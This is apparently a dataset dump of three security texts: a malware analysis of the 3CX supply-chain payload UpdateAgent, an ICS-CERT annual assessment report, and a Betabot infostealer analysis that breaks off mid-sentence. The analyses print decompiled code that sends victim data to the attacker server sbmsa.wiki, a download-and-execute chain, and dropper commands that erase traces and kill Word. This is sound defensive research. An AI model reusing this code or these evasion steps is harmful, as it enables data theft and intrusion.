text
stringlengths
8
115k
# Ironing out (the macOS) details of a Smooth Operator (Part II) Analyzing UpdateAgent, the 2nd-stage macOS payload of the 3CX supply chain attack by: Patrick Wardle / April 1, 2023 ## Background Earlier this week, I published a blog post that added a missing puzzle piece to the 3CX supply chain attack (attributed to the North Koreans, aka Lazarus Group). In that post, we uncovered the trojanization component of the macOS variant of the attack, comprehensively analyzed it, and provided IoCs for detection. I’d recommend reading that write-up, as this post, part II, continues on from where that left off. We ended the previous post, noting the main goal of the 1st-stage payload (libffmpeg.dylib) was to download and execute a 2nd-stage payload named UpdateAgent. The following snippet of annotated decompiled code, from the 1st-stage payload shows this logic: ```c //write out 2nd-stage payload "UpdateAgent" // which was just downloaded from the attacker's server stream = fopen(path2UpdateAgent, "wb"); fwrite(bytes, length, 0x1, stream); fflush(stream); fclose(stream); //make +x chmod(path2UpdateAgent, 755); //execute popen(path2UpdateAgent, "r"); ``` As the attacker’s servers were offline at the time of my analysis, I was unable to grab a copy of the UpdateAgent binary …leading me to state, “what it does is a mystery”. But now with the UpdateAgent binary in my possession, let’s solve the mystery of what it does! Note: In order to get as much information out as quickly as possible I originally tweeted my analysis of the UpdateAgent: > Tonight we dive into the 2nd-stage macOS payload, "UpdateAgent", from the #3CX / #3CXpocalypse supply-chain attack 🍎👾🔬 — Patrick Wardle (@patrickwardle) March 31, 2023 This post both reiterates that initial analysis and builds upon it (and hey a blog post is a little more readable and ‘official’). ## Triage The (SHA-1) hash for the UpdateAgent was originally published in SentinelOne report: `9e9a5f8d86356796162cee881c843cde9eaedfb3` UpdateAgent's Hash (image credit: SentinelOne) WhatsYourSign shows other hashes (MD5, etc): You can also see that WhatsYourSign has determined that though UpdateAgent is signed, its signature is adhoc (and thus not notarized). You can confirm this with macOS’s codesign utility as well: ```bash % codesign -dvvv UpdateAgent Executable=/Users/patrick/Library/Application Support/3CX Desktop App/UpdateAgent Identifier=payload2-55554944839216049d683075bc3f5a8628778bb8 CodeDirectory v=20100 size=450 flags=0x2(adhoc) hashes=6+5 location=embedded ... Signature=adhoc ``` Also from UpdateAgent’s code signing information, we can see its identifier: `payload2-55554944839216049d683075bc3f5a8628778bb8`. Other Lazarus group payloads are also signed adhoc and use a similar identifier scheme. For example, check out the code signing information from Lazarus’s AppleJuice.C: ```bash % codesign -dvvv AppleJeus/C/unioncryptoupdater Executable=/Users/patrick/Malware/AppleJeus/C/unioncryptoupdater Identifier=macloader-55554944ee2cb96a1f5132ce8788c3fe0dfe7392 CodeDirectory v=20100 size=739 flags=0x2(adhoc) hashes=15+5 location=embedded Hash type=sha256 size=32 Signature=adhoc ``` Using macOS’s file command, we see the UpdateAgent binary is an x86_64 (Intel) Mach-O: ```bash % file UpdateAgent UpdateAgent: Mach-O 64-bit executable x86_64 ``` This means that unless Rosetta is installed, it won’t run on Apple Silicon. (Recall that the arm64 version of the 1st payload, libffmpeg.dylib was not trojanized). Let’s now run the strings command (with the "-" option which instructs it to scan the whole file), we find strings that appear to be related to: - Config files - Config parameters - Attacker server (sbmsa[.]wiki) - Method names of networking APIs ```bash % strings -a UpdateAgent %s/Library/Application Support/3CX Desktop App/.main_storage %s/Library/Application Support/3CX Desktop App/config.json "url": "https:// "AccountName": " https://sbmsa.wiki/blog/_insert 3cx_auth_id=%s;3cx_auth_token_content=%s;__tutma=true URLWithString: requestWithURL: addValue:forHTTPHeaderField: dataTaskWithRequest:completionHandler: ``` This wraps up our triage of the UpdateAgent binary. Time to dive in deeper with our trusty friends: the disassembler and debugger! ## Analysis of UpdateAgent In this section we’ll more deeply analyze the malicious logic of the UpdateAgent binary. Throwing the binary in a debugger (starting at its main), we see within the first few lines of code the malware contains some basic anti-analysis logic. - Forks itself via fork - This slightly complicates debugging, as forking creates a new process (vs. the parent, we’re debugging). - Self-deletes via ulink - This can thwart file-based AV scanners, or simply make it harder to find/grab the binary for analysis! ```c int main(int argc, const char * argv[]) { if (fork() == 0) { //in child ... unlink(argv[0]); } else { exit(0); } } ``` As noted, when fork executes, a new (child) process is created. We can see that in the above disassembly, the parent will then exit …while the child will continue executing. So, if we’re debugging the parent our debugging session will terminate. There are debugger commands that can follow the child, but it’s easier to just set a breakpoint on the fork, then skip over it (via the register write $pc <address of instruction after fork>) altogether. We also noted the child process (the parent has exited) will delete itself via the unlink API. This is readily observable via a file monitor, which captures the ES_EVENT_TYPE_NOTIFY_UNLINK event of the UpdateAgent file by the UpdateAgent process: ```json { "event": "ES_EVENT_TYPE_NOTIFY_UNLINK", "file": { "destination": "~/Library/Application Support/3CX Desktop App/UpdateAgent", ... "process": { "pid": 38206, "name": "UpdateAgent", "path": "~/Library/Application Support/3CX Desktop App/UpdateAgent" } } } ``` Next, as the malware has not stripped its symbols nor obfuscated its strings, in a disassembler we see the malware performing the following: - Calls a function called parse_json_config - Calls a function called read_config - Calls a function named enc_text - Builds a string ("3cx_auth_id=..." + ?) - Calls a function named send_post passing in the URI `https://sbmsa.wiki/blog/_insert` Let’s explore each of these, starting with the call to the malware’s parse_json_config function. This attempts to open a file, config.json (in `~/Library/Application Support/3CX Desktop App`). According to an email I received (thanks Adam!) this appears to be a legitimate configuration file, that is part of 3CX’s app. We can observe the malware opening the configuration file in a file monitor: ```json { "event": "ES_EVENT_TYPE_NOTIFY_OPEN", "file": { "destination": "~/Library/Application Support/3CX Desktop App/config.json", ... "process": { "pid": 38206, "name": "UpdateAgent", "path": "~/Library/Application Support/3CX Desktop App/UpdateAgent" } } } ``` Once it has opened this file, UpdateAgent looks for values from the keys: url and AccountName, as we can see in the annotated disassembly: ```c int parse_json_config(int arg0) { ... sprintf(&var_1230, "%s/Library/Application Support/3CX Desktop App/config.json", arg0); rax = fopen(&var_1230, "r"); ... fread(&var_1030, rsi, 0x1, r12); rax = strstr(&var_1030, "\"url\": \"https://"); ... rax = strstr(&var_1030, "\"AccountName\": \""); } ``` Here’s a snippet from a legitimate 3CX config.json file, showing an example of such values: ```json { "ProvisioningSettings": { "url": "https://servicemax.3cx.com/provisioning/<redacted>/<redacted>/<redacted>.xml", "file": { "Extension": "00", ... "GCMSENDERID": "", "AccountName": "<redacted>" } } } ``` From this, we can see the url key appears to contain a link to the XML provisioning file for the VOIP system. On the other hand, AccountName is the full name of the account owner. If the config.json file is not found, the malware exits. As I didn't have the 3CX app fully installed, to keep the malware happily executing so I could continue (dynamic) analysis, I created a dummy config.json (containing the expected keys, with some random values). With the values of url and AccountName extracted from the config.json file, the malware then calls a function named read_config. This opens and then reads in the contents of the .main_storage file. Recall that this file was created by the 1st-stage payload (libffmpeg.dylib) and contains a UUID - likely uniquely identifying the victim. The read_config function then de-XORs the UUID with the key 0x7a. ```c int read_config(int * arg0, void * arg1) { ... sprintf(&var_230, "%s/Library/Application Support/3CX Desktop App/.main_storage", arg0); handle = fopen(&var_230, "rb"); fread(buffer, 0x38, 0x1, rax); fclose(handle); index = 0x0; do { *(buffer + index) = *(buffer + index) ^ 0x7a; index++; } while (index != 0x38); } ``` Once the read_config has returned, the malware concatenates the url and AccountName and then encrypts them via a function named enc_text. Next, it combines this encrypted string with the de-XOR’d UUID (from the .main_storage file). These values are combined in the following parameterized string: `3cx_auth_id=UUID;3cx_auth_token_content=encrypted url;account name;__tutma=true` We can dump this in a debugger: ```bash % lldb UpdateAgent ... (lldb) x/s 0x304109390: "3cx_auth_id=3725e81e-0519-7f09-72ac-35641c94c1cf;3cx_auth_token_content=S&per>ogZZGA55{ujj[MCC3&dol>wweZPP@&semi>4#riiZLBB-!!pbWWE@&semi>0xppZQII5&plus>}}sjb;__tutma=true" ``` Now the malware is ready to send this information to the attacker’s remote server. This is accomplished via a function the malware names send_post. It takes several parameters including the remote server/API endpoint `https://sbmsa.wiki/blog/_insert` and the `3cx_auth_id=...` string: ```c enc_text(&input, &output); sprintf(&paramString, "3cx_auth_id=%s;3cx_auth_token_content=%s;__tutma=true", &UUID, &output); ... send_post("https://sbmsa.wiki/blog/_insert", &paramString, &var_1064); ``` The send_post function configures a URL request with a hard-coded user-agent string ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.128 Safari/537.36") and adds the `3cx_auth_id=...` parameter string in the “Cookie” HTTP header. Then, via the nsurlsession’s dataTaskWithRequest:completionHandler: method, the malware makes the request to `https://sbmsa.wiki/blog/_insert`. Via my DNSMonitor, we can observe (the initial part, the DNS resolution) of this: ```json [{ "Process": { "pid": 40063, "signing ID": "payload2-55554944839216049d683075bc3f5a8628778bb8", "path": "/Users/patrick/Library/Application Support/3CX Desktop App/UpdateAgent" }, "Packet": { "Opcode": "Standard", "QR": "Query", "Questions": [ { "Question Name": "sbmsa.wiki", "Question Class": "IN", "Question Type": "?????" } ], "RA": "No recursion available", "Rcode": "No error", "RD": "Recursion desired", "XID": 25349, "TC": "Non-Truncated", "AA": "Non-Authoritative" } }] ``` Unfortunately (for our continued analysis efforts), as the sbmsa.wiki server is offline, the connection fails. ```bash % nslookup sbmsa.wiki ;; connection timed out; no servers could be reached ``` Still, we can continue static analysis of the UpdateAgent binary to see what it would do if the attacker’s server was (still) online. The answer is though, appears to be, nothing: ```c int main(int argc, const char * argv[]) { ... response = send_post("https://sbmsa.wiki/blog/_insert", &paramString, &var_1064); if (response != 0x0) { free(response); } return 0; } ``` As the decompilation shows, once the send_post returns, the response is freed. Then, the function, returns. As the function (that invokes send_post and then simply returns) is main, this means the process is exiting. This might at first seem a bit strange …wouldn’t we expect the UpdateBinary to do something after it has received a response? Usually, we see malware treating a response as tasking (and thus then executing some attacker-specified commands), or, as was the case with the 1st-stage payload, saving and executing the response as a next-stage payload. However, if we take a closer look at UpdateAgent’s URI API endpoint, recall it’s `https://sbmsa.wiki/blog/_insert` …maybe the purpose of UpdateAgent is simply to report information about its victims …inserting them into some back-end server (found at the _insert endpoint). This would make sense as supply-chain attacks indiscriminately infect a large number of victims, most of whom to a nation-state APT group (e.g., Lazarus) are of little interest. This concept is well articulated by J. A. Guerrero-Saade who noted: > That’s up to say, the attacker gets thousands of victims, collects everything they need for future compromises, profiles their haul, and decides how to maximize that access. Think— trojanizing CCleaner suspected of leading to @ASUS LiveUpdate compromise. — J. A. Guerrero-Saade (@juanandres_gs) April 1, 2023 Also worth recalling that each time the 1st-stage payload was run, it would (re)download and (re)execute UpdateAgent …meaning at any time the Lazarus group hackers could for targets of interest, update/swap out the UpdateAgent’s code, perhaps for a persistent, fully featured implant. ## Detection / Protection Let’s end by talking about how to detect and protect against this 2nd-stage payload. First, detection should be trivial, as many of the components of the malware are hard-coded and thus static: **File based IoCs (found in `~/Library/Application Support/3CX Desktop App/`)** - .main_storage - UpdateAgent (though as this self-deletes, it might be gone) **Embedded Domain:** - `https://sbmsa.wiki/blog/_insert` In terms of detections, Objective-See’s free open-source tools can help! First, BlockBlock (running in “Notarization” mode) will both detect and block UpdateAgent before it’s allowed to execute …as the malware is not notarized: **BlockBlock** ...block blocking! At the network level, as we showed earlier, DNSMonitor will detect when the malware attempts to resolve the domain name of its remote server: ```json [{ "Process": { "pid": 40063, "signing ID": "payload2-55554944839216049d683075bc3f5a8628778bb8", "path": "/Users/patrick/Library/Application Support/3CX Desktop App/UpdateAgent" }, "Packet": { "Opcode": "Standard", "QR": "Query", "Questions": [ { "Question Name": "sbmsa.wiki", "Question Class": "IN", "Question Type": "?????" } ], "RA": "No recursion available", "Rcode": "No error", "RD": "Recursion desired", "XID": 25349, "TC": "Non-Truncated", "AA": "Non-Authoritative" } }] ``` Finally, LuLu can also detect the malware’s unauthorized network access. What really can tip us off that something is amiss based on LuLu’s alert is that the program, UpdateAgent accessing the internet has self-deleted (and thus is struck through in the alert): **LuLu** ...detecting unauthorized network access Make sure you are running the latest version of LuLu (v2.4.3) that improved the handling of self-deleted processes. ## Conclusion Today we added a missing yet another puzzle piece to the 3CX supply chain attack. Here, for the first time, we detailed the attacker’s 2nd macOS payload: UpdateAgent. Moreover, we provided IoCs for detection and described how our free, open-source tools could provide protection, even with no a priori knowledge of this threat!
# ICS-CERT Annual Assessment Report ## Welcome from the NCCIC and ICS-CERT The past year was an eventful one for both the National Cybersecurity and Communications Integration Center (NCCIC) and the Industrial Control Systems Cyber Emergency Response Team’s (ICS-CERT) Assessment program. Cyber incidents at home and abroad in FY 2016 highlighted the continued and significant risks associated with cyber-attacks on industrial control systems (ICS). To meet both new and existing cybersecurity challenges, ICS-CERT redoubled efforts to provide its customers with comprehensive assessments of their ICS cybersecurity posture, arming them with both understanding of their cyber vulnerabilities and with the expert guidance they need to mitigate ICS cyber threats. The third ICS-CERT Annual Assessment Report captures the Assessment team’s consolidated discoveries and activities throughout the year. The report summarizes our key discoveries (including the most common vulnerabilities across our customer base), provides year-over-year vulnerability comparisons across critical infrastructure (CI) sectors, shows where we focused our activity in FY2016, describes how customers can request an assessment, and provides our customers with recommendations for enhancing their ICS cybersecurity posture. The report also highlights some of the changes we are making to our assessment program to better serve our customers. For example, in FY 2016 we launched Version 8.0 of our Cybersecurity Evaluation Tool (CSET), adding new functionality to the tool. We began an extended hiring initiative to expand the number of assessment teams, enabling us to conduct more assessments for more customers each year. We also stood up the ICS Federal Critical Infrastructure Assessments (ICSFCIA) program, which focuses exclusively on providing assessments to Federal Government partners. The data and lessons we glean from this effort will, in turn, inform and support our continued focus on CI owned by the private sector and by state and local governments. Additionally, ICS-CERT is transitioning its assessment model from individual products to an integrated assessment process that includes all assessment offerings as well as more advanced analytics to provide improved actionable feedback to asset owners. We hope our partners find the information contained in this report useful. We continue to look for ways to improve service to our customers and we hope that the changes to our assessment program, along with the discoveries and continued feedback that we provide our customers through our assessment team, will mitigate existing threats to control systems, help our customers stay ahead of the cyber-threat curve, and minimize the duration and severity of incidents if they do occur. Thank you. John Felker Director of Operations, NCCIC Marty Edwards Director, ICS-CERT ## 1. Introduction Fiscal Year 2016 marks the third publishing year for the ICS-CERT Annual Assessment Report. As in previous years, the report provides our stakeholders with important information they can use to help secure their control systems and associated CI. This includes descriptions of the most common vulnerabilities found by our assessment teams in FY 2016 and the cybersecurity actions we recommend ICS owners and operators take to improve their cybersecurity posture. Now more than ever, vital operational processes depend on secure and reliable control systems. In addition to traditional industrial processes, rapid increases in the connectivity of operational technology through the Internet of Things raise new challenges for control systems security. ICS-CERT continues to work with its government and private sector partners to identify, understand, and mitigate cyber threats to control systems and the CI they support. ### 1.1 Our Mission ICS-CERT’s mission is to reduce risk to the Nation’s critical infrastructure by strengthening the security and resilience of control systems through public-private partnerships. We pursue this mission through a comprehensive cybersecurity program that helps our government and private sector partners improve ICS security across the entire risk management spectrum. For example, our Assessment team offers CI partners a suite of products and services that include in-depth facilitated assessments — our Network Validation and Verification (NAVV) and Design Architecture Review (DAR) assessments — as well as our Cybersecurity Evaluation Tool (CSET), a downloadable software product that enables CI partners to conduct their own assessments against a range of cybersecurity standards. In addition to our cybersecurity assessment program, we offer our partners a wide variety of platforms through which to share technical information about new and existing ICS threats and vulnerabilities within a global partnership network. We also help our partners through technical malware and vulnerability analysis in our dedicated laboratory, provide cybersecurity training for all levels of knowledge and technical skill, and help our partners to respond to cybersecurity incidents focused on control systems. Through ICS-CERT, our partners can also request services available through other NCCIC components. Examples of available services include machine-to-machine threat information exchange through the NCCIC’s Automated Indicator Sharing program; enterprise network penetration testing, malware analysis, and incident response services; and cybersecurity exercises. ICS-CERT works closely with the NCCIC components that provide these services to ensure that our government and private sector partners can access the full range of NCCIC services and capabilities. Other NCCIC components include the United States Computer Emergency Readiness Team (US-CERT), National Coordinating Center for Communications (NCC), National Cyber Exercise and Planning Program (NCEPP), and National Cybersecurity Assessment and Technical Services (NCATS) team. ## 2. FY 2016 Assessment Summary We conducted 130 assessments in FY 2016, more than in any previous year. We also began a multi-year initiative to expand the number of Assessment teams we can field and to provide dedicated teams to support our Federal Government and CI customers, respectively. ### 2.1 Overarching Discoveries For the third consecutive year, ICS-CERT assessment teams found weaknesses related to boundary protection to be the most prevalent. Weaknesses related to the principle of least functionality were the second most commonly discovered issues, as was the case in FY 2015. **FY 2014-2016 Top Six Weakness Categories in Order of Prevalence** | Category | FY 2014 | FY 2015 | FY 2016 | |------------------------------|-----------------------|-----------------------|-----------------------| | 1. Boundary Protection | 1. Boundary Protection | 1. Boundary Protection | 1. Boundary Protection | | 2. Information Flow Enforcement| 2. Least Functionality | 2. Least Functionality | 2. Least Functionality | | 3. Remote Access | 3. Authenticator Management | 3. Identification and Authentication | 3. Physical Access Control | | 4. Least Privilege | 4. Identification and Authentication | 4. Least Privilege | 4. Audit Review, Analysis and Reporting | | 5. Physical Access Control | 5. Least Privilege | 5. Allocation of Resources | 5. Authenticator Management | | 6. Security Function Isolation | 6. Allocation of Resources | 6. Authenticator Management | 6. Identification and Authentication | ### 2.2 FY 2016 Assessment Coverage The number of security assessments conducted in FY 2016 represents a 16 percent increase from FY 2015 and an increase of 25 percent from FY 2014. There were also changes to the mix of assessments conducted in FY 2016, with the number of facilitated CSET assessments declining — an ongoing trend since FY 2012 — as ICS-CERT’s other assessment services evolve and customer demand for DAR and NAVV assessments increases. **ICS Assessments by Fiscal Year** | Assessment Type | FY 2009 | FY 2010 | FY 2011 | FY 2012 | FY 2013 | FY 2014 | FY 2015 | FY 2016 | Total | |------------------|---------|---------|---------|---------|---------|---------|---------|---------|-------| | Facilitated Cybersecurity Assessment Tool (CSET) | 20 | 57 | 81 | 83 | 60 | 49 | 38 | 32 | 420 | | Design Architecture Review (DAR) | NA | NA | NA | 2 | 10 | 35 | 46 | 55 | 148 | | Network Architecture Validation and Verification (NAVV) | NA | NA | NA | 4 | 2 | 20 | 28 | 43 | 97 | | **Total** | 20 | 57 | 81 | 87 | 72 | 104 | 112 | 130 | 665 | ICS-CERT offers cybersecurity assessments of ICS to both government and private sector organizations across all 16 CI sectors. ICS-CERT conducts all private sector assessments in response to voluntary requests from CI owners and operators. As a result, year-to-year fluctuations in assessments for a given CI sector are generally demand driven (based on customer requests). However, ICS-CERT prioritizes scheduling of assessments using a variety of factors, including sector or facility risk profile, the reliance of the CI asset on control systems, and geographic clustering of CI to ensure the most effective and efficient use of existing resources. In FY 2016, ICS-CERT conducted assessments in 12 of the 16 CI sectors. These include the Chemical (7 assessments), Commercial Facilities (4), Communications (5), Critical Manufacturing (5), Dams (2), Emergency Services (3), Energy (22), Food and Agriculture (3), Government Facilities (10), Information Technology (3), Transportation Systems (10), and Water and Wastewater Systems (56). The Water and Wastewater Systems and Energy Sectors, which together represented 60 percent of all assessments, are both heavily dependent on control systems to manage operational processes. ## 3. Primary Discoveries and Mitigation Recommendations This section describes specific discoveries and mitigation recommendations for the top six weaknesses ICS-CERT assessment teams found in FY 2016. It also provides a complete list of all weakness categories. The recommendations provided in this section are consistent with best security practices for protecting control systems from threats of unauthorized use. ### 3.1 Detailed Discussion of Top Identified Vulnerabilities While ICS-CERT assessments identified weaknesses across all control families, six categories represented roughly 36 percent of the total vulnerabilities discovered across assessed CI sectors. The top six categories were Boundary Protection; Least Functionality; Identification and Authentication; Physical Access Control; Audit Review, Analysis, and Reporting; and Authenticator Management. ### 3.2 All Weaknesses Discovered in FY 2016 In FY 2016, ICS-CERT identified 700 weaknesses through its 98 DAR and NAVV assessments. The top 30 categories of weaknesses make up roughly 79 percent of all identified weaknesses. **Top 30 Identified Weaknesses in FY 2016** | NIST 800-53 Weakness Categories | Instances | Percentage | Order | |----------------------------------|-----------|------------|-------| | Boundary Protection | 94 | 13.4% | 1 | | Least Functionality | 42 | 6.0% | 2 | | Identification and Authentication (Organizational Users) | 36 | 5.1% | 3 | | Physical Access Control | 28 | 4.0% | 4 | | Audit Review, Analysis, and Reporting | 26 | 3.7% | 5 | | Authenticator Management | 24 | 3.4% | 6 | | Least Privilege | 20 | 2.9% | 7 | | Allocation of Resources | 19 | 2.7% | 8 | | Account Management | 17 | 2.4% | 9 | | Remote Access | 16 | 2.3% | 10 | | Security Awareness Training | 16 | 2.3% | 11 | | System Security Plan | 15 | 2.1% | 12 | | Flaw Remediation | 15 | 2.1% | 13 | | Information System Monitoring | 15 | 2.1% | 14 | | Security Impact Analysis | 14 | 2.0% | 15 | | Transmission Confidentiality and Integrity | 13 | 1.9% | 16 | | Baseline Configuration | 12 | 1.7% | 17 | | Contingency Plan | 12 | 1.7% | 18 | | Information System Backup | 12 | 1.7% | 19 | | Security Engineering Principles | 12 | 1.7% | 20 | | Information System Component Inventory | 11 | 1.6% | 21 | | Media Use | 11 | 1.6% | 22 | | Role-Based Security Training | 10 | 1.4% | 23 | | Configuration Change Control | 10 | 1.4% | 24 | | System Interconnections | 9 | 1.3% | 25 | | Configuration Settings | 9 | 1.3% | 26 | | Publicly Accessible Content | 8 | 1.1% | 27 | | Audit Events | 8 | 1.1% | 28 | | Incident Response Plan | 8 | 1.1% | 29 | | Protection of Information at Rest | 8 | 1.1% | 30 | ## 4. ICS-CERT’s Assessment Program ICS-CERT launched the Assessment Program in 2009 with the goal of helping CI owners and operators understand and improve their control systems security posture. Initially focused on facilitated assessments using CSET, in 2012, the assessment program expanded its offerings to include detailed, in-depth technical assessments through DAR and NAVV assessments. ### 4.1 Support Structure for Government and Private Sector Customers In FY 2016, ICS-CERT established a dedicated federal facilities assessment team and a dedicated private sector assessment team. These teams provide support to their respective customers under an integrated management and data sharing structure that ensures anonymized and protected information gleaned from both federal and private sector assessments support analytical efforts to improve overarching control systems security. ### 4.2 Assessment Elements In order to categorize assessment discoveries, ICS-CERT bases assessment and analysis of security vulnerabilities on NIST Special Publication 800-53. NIST 800-53 control family mappings provide a consistent and repeatable methodology for collecting and correlating data to analyze and trend key discoveries at a holistic level. ICS-CERT offers a combination of processes in support of an integrated assessment product suite. Assessment products and services include: - Cybersecurity Evaluation Tool (CSET) - Design Architecture Review (DAR) - Network Validation and Verification (NAVV) ## 5. A Look Ahead to FY 2017 In FY 2017, ICS-CERT is launching a number of important initiatives to improve its assessment products, services, and capabilities. Our Private Sector Assessment team is transitioning the services it provides to CI customers from discrete CSET, DAR, and NAVV assessments to an integrated process that includes all assessment offerings along with advanced analytics that provide actionable feedback to asset owners. ## 6. Conclusion ICS-CERT looks forward to continuing to support its private sector and government partners in securing their control systems. Leveraging the insights gained through our assessment data and customer feedback in FY 2016, we will build upon and enhance the capabilities and technical expertise we added to our assessment program for FY 2017. ## Appendix A. NIST 800-53 Cybersecurity Control Families ICS-CERT uses NIST Special Publication 800-53, “Security and Privacy Controls for Federal Information Systems and Organizations,” to categorize the discoveries found during assessments. Using NIST 800-53 provides a consistent and repeatable methodology for collecting and correlating data. The NIST 800-53 controls are organized into families. Each family contains subcategories related to the general security topic of the family. Descriptions of the 18 security control families follow. - **Access Control (AC)**: The security controls governing the mechanisms, principles, processes, and other controls used to facilitate access to the information system. - **Awareness and Training (AT)**: The security controls facilitating general and role-based security training of users in regard to the information system and the corresponding records of training. - **Audit and Accountability (AU)**: The security controls used to define, record, analyze, and report on the actions of the information system. - **Security Assessment and Authorization (CA)**: Security controls that define and establish how the information system will authorize for use, how the information system is checked to ensure that security controls are in place and deficiencies are tracked and corrected. - **Configuration Management (CM)**: Security controls to manage the installation and configuration of the information system as a whole and per device. - **Contingency Planning (CP)**: Security controls to define and aid in the recovery/restoration processes of an information system. - **Identification and Authentication (IA)**: The controls to verify the identity of a user, process, or device through the use of specific credentials. - **Incident Response (IR)**: Security controls pertaining to incident response training, testing, handling, monitoring, reporting, and support services. - **Maintenance (MA)**: Security controls governing the maintenance processes and tools. - **Media Protection (MP)**: Security controls ensuring access to, marking, storage, and sanitization of media both electronic and physical. - **Physical and Environmental Protection (PE)**: Security controls addressing the physical security and needs of an information system including environmental controls. - **Planning (PL)**: Security Controls comprising the security plan, security architecture, rules of behavior, and operations of the information system. - **Personnel Security (PS)**: Security controls dealing with the security implications of information system personnel. - **Risk Assessment (RA)**: Security controls to determine the risk of the information system. - **System and Services Acquisition (SA)**: Security controls that pertain to the establishment and operations of the information system. - **System and Communications Protection (SC)**: Security controls to protect the information system and its data as they are dispersed through the various channels of communication. - **System and Information Integrity (SI)**: Security controls to ensure information system data are valid and authentic. - **Program Management (PM)**: Provides enterprise-level security controls reaching across an entire organization.
# New Betabot Campaign Under the Microscope **Written By** Cybereason Nocturnus October 3, 2018 | 6 minute read **Research by:** Assaf Dahan In the past few weeks, the Cybereason SOC has detected multiple Betabot (aka Neurevt) infections in customer environments. Betabot is a sophisticated infostealer malware that’s evolved significantly since it first appeared in late 2012. The malware began as a banking Trojan and is now packed with features that allow its operators to practically take over a victim’s machine and steal sensitive information. ## Betabot’s Main Features Include: - Browsers Form Grabber - FTP and mail client stealer - Banker module - Running DDOS attacks - USB infection module - Robust Userland Rootkit (x86/x64) - Arbitrary command execution via shell - The ability to download additional malware - Persistence - Crypto-currency miner module (added 2017) Betabot exploits an 18-year-old vulnerability in the Equation Editor tool in Microsoft Office. The vulnerability has been around since 2000 when Equation Editor was added to Office. However, it wasn’t discovered by researchers and patched by Microsoft until 2017. Most modern malware have self-defense features designed to bypass detection and thwart analysis. These features include anti-debugging, anti-virtual machine/sandbox, anti-disassembly, and the ability to detect security products and analysis tools. It is not uncommon for malware to take a more aggressive approach and disable or uninstall antivirus software. Other programs remove malware and bots that are already on a person’s machine, eliminating the competition with heuristic approaches that would put many security products to shame. Betabot stands out because it implements all of these self-defense features and has an exhaustive blacklist of file and process names, product IDs, hashes, and domains from major antivirus, security, and virtualization companies. This blog will use Cybereason telemetry data gathered from multiple customer endpoints to look at the infection chain. We’ll also delve into Betabot’s self-defense mechanisms. ## Infection Vector: CVE-2017-11882 Exploit-Weaponized Document The Betabot infections seen in our telemetry originated from phishing campaigns that used social engineering to persuade users to download and open what appears to be a Word document that is attached to an email. Examining the document in a Hex editor, we can see that it is, in fact, an RTF file. Using Didier Steven’s rtfdump.py, we can see multiple entries with embedded objects. ### Dropped Files Dumping each entry results in the following files, which will be eventually dropped: | File | Purpose | SHA-1 | |--------------------------|----------------------|-----------------------------------------| | %temp%\dqfm.cmd | Checks for previous infection and launches hondi.cmd | 86B5058C89231C691655306E12E1E4640D23ED19 | | %temp%\gondi.doc | Decoy Word document | 33C3F3F4BA62017F5186343C0869B23AB72E081E | | %temp%\hondi.cmd | Deleting traces by deleting the resiliency registry entry, killing Word process, deploying a decoy document, starting mondi.exe | 92F2515828C77056AE04696FD207783DFF8F778D | | %temp%\mondi.exe | NSIS-based dropper, unpacks malware payload, injects payload to other running processes, creates persistence | FE1B51FE46BDAD6EA051110AB0D1B788A54331E4 | ### Exploit Behavioral Execution Tree The Cybereason platform caught the exploit’s behavioral chain. Opening the weaponized RTF documents triggers the Equation Editor exploit (CVE-2017-11882) and executes dqfm.cmd, which spawns hondi.cmd. 1. Hondi.cmd will execute the following commands: - Delete traces of the original RTF document by enumerating all the Resiliency registry keys and deleting them: ``` reg delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Resiliency /f ``` - Gather information about the Most Recently Used (MRU) Office files for the decoy document: ``` C:\Windows\system32\cmd.exe /c REG QUERY "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\11.0\Word\File MRU" /v "Item 1" ``` - Kill Word Process (which executed the RTF document): ``` Taskill.exe TASkKILL /F /IM winword.exe ``` - Execute Betabot dropper “mondi.exe”: ``` C:\Users\[snip]\AppData\Local\Temp\mondi.eXe ``` - Open the decoy document: ``` "C:\Program Files\Microsoft Office\Office12\WINWORD.EXE" /n /dde ``` ### Betabot Dropper Analysis The Mondi.exe binary is actually compressed by NSIS (Nullsoft Scriptable Install System), an open-source software used to create Windows Installers, as indicated by the “Nullsoft PiMP stub” compiler signature. The installer will extract Betabot loader and the encrypted main payload: 1. Performances.dll (Loader: SHA-1: 22C35AEF70D708AA791AFC4FC8097C3C0B6DC0C1) 2. Midiron.dat (Encrypted Betabot payload SHA-1: B7599AF48FC3124BE65856012A7C2DCB18BE579A) ### Betabot’s Unpacking and Process Injection The loader will unpack the payload and inject it into its own child process. The injecting process raised the following behavioral suspicions. The loader child process will then enumerate all the running processes in order to find injection candidates. In many of the cases Cybereason observed, the Betabot loader injected its code into multiple running processes for persistence and maximized survival purposes. If an injected process is terminated, another process will kick in and spawn the loader as a child process. In most cases, the main payload will first be injected into a second instance of Explorer.exe. However, in one of the incidents, we observed Betabot injecting itself into a McAfee process called “shtat.exe”. ### C2 Communication Once injected, Betabot will attempt to communicate with its C2 servers. Prior to that, it will check Internet connectivity by sending requests to specific domains. Once Internet connectivity is verified, Betabot will send requests to its C2 servers. ### Observed Persistence Betabot utilizes several interesting persistence techniques. However, in the sample we analyzed, it used a classic registry Autorun. It dropped a renamed copy of the installer in Programdata under the name “Google Updater 2.0” and changed the directory’s and file’s permissions and ownership to prevent them from being removed or tampered with. Once Betabot is executed, it makes extensive usage of API hooking to hide the persistence from regedit, Sysinternal’s Autoruns, and other monitoring tools. A secondary persistence mechanism that was implemented via Windows Task Scheduler was also observed in some infections. ### Betabot is Paranoid Betabot’s authors designed the malware to operate in paranoid mode. For example, it can detect security products running on a victim’s machine, determine if it’s running in a research lab environment, and identify and shut down other malware that’s on a machine. These self-defense mechanisms are well advertised in hacking forums. #### Virtualization Detection Betabot will attempt to determine if it is executed in a virtual environment by querying the registry and looking for the names of virtual machine vendors such as VMware, VirtualBox, and Parallels. #### Sandbox Detection Betabot will check for the presence of Wine, which is often an indication of a sandbox environment. Then it will proceed to search for product IDs of common sandbox vendors in the Windows registry. #### Anti-debugging Betabot uses several techniques to ensure that it’s not being debugged and to prevent debuggers from attaching to its process. ### Detection of Antivirus Vendors Betabot will attempt to detect (and in some cases disable or remove) 30 different security products by looking for process names, specific files, folders, registry keys, and services. ### Measures to Prevent Betabot Infections Here are some best practices to minimize the risk of infection: 1. Avoid clicking links and 